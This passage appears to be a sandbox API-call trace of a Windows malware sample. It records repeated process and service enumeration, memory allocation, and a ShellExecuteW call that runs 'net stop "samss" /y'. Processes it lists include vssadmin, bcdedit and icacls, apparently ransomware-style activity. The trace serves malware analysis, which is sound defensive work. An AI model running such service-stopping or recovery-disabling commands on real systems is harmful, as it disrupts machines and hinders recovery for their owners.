	[0177.713] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0177.716] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0177.718] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0177.721] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0177.724] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0177.728] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0177.731] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0177.734] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0177.737] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0177.740] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0177.937] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0177.941] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0177.944] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0177.947] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0177.949] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0177.952] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0177.955] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0177.958] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0177.961] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0177.964] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0177.967] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0177.969] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0177.972] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0178.155] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0178.157] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0178.160] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x484, pcPriClassBase=8, dwFlags=0x0, szExeFile="bcdedit.exe")) returned 1
	[0178.162] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0178.165] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0178.167] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0178.170] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 1
	[0178.172] Process32NextW (in: hSnapshot=0x3a0, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskkill.exe")) returned 0
	[0178.174] CloseHandle (hObject=0x3a0) returned 1
	[0178.174] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f04c0
	[0178.175] EnumServicesStatusW (in: hSCManager=0x3f04c0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0x0, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 0
	[0178.176] VirtualAlloc (lpAddress=0x0, dwSize=0x1710, flAllocationType=0x1000, flProtect=0x40) returned 0xe0000
	[0178.177] EnumServicesStatusW (in: hSCManager=0x3f04c0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0xe0000, cbBufSize=0x1710, pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0 | out: lpServices=0xe0000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x2ecfd88, lpServicesReturned=0x2ecfd80, lpResumeHandle=0x2ecfaf0) returned 1
	[0178.179] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0224.137] Sleep (dwMilliseconds=0x96) 
	[0224.681] VirtualFree (lpAddress=0xe0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.683] Sleep (dwMilliseconds=0xc350) 
	[0234.900] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x37c
	[0234.932] Process32FirstW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0234.935] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0234.937] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0234.939] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0234.941] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0235.029] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0235.032] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0235.034] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0235.036] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0235.038] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0235.041] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0235.043] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0235.045] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0235.047] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0235.050] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0235.052] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0235.054] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0235.057] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0235.059] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0235.061] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0235.063] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0235.065] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0235.068] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0235.182] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0235.184] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0235.186] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="compound italiano branch.exe")) returned 1
	[0235.188] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="laugh.exe")) returned 1
	[0235.191] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="swiss_italia_boards.exe")) returned 1
	[0235.193] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pairchronicles.exe")) returned 1
	[0235.195] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="varyoopsboss.exe")) returned 1
	[0235.198] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="integratechips.exe")) returned 1
	[0235.200] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reselleremotional.exe")) returned 1
	[0235.203] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh pct os.exe")) returned 1
	[0235.205] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="clearly_st.exe")) returned 1
	[0235.207] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepingtheregather.exe")) returned 1
	[0235.209] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="profile accepting clark.exe")) returned 1
	[0235.211] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="origins models wing.exe")) returned 1
	[0235.213] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hurricane.exe")) returned 1
	[0235.215] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basketballamdphil.exe")) returned 1
	[0235.218] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="legs.exe")) returned 1
	[0235.220] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_wichita_innocent.exe")) returned 1
	[0235.237] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0235.239] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0235.242] Process32NextW (in: hSnapshot=0x37c, lppe=0x2ecf8f0 | out: lppe=0x2ecf8f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
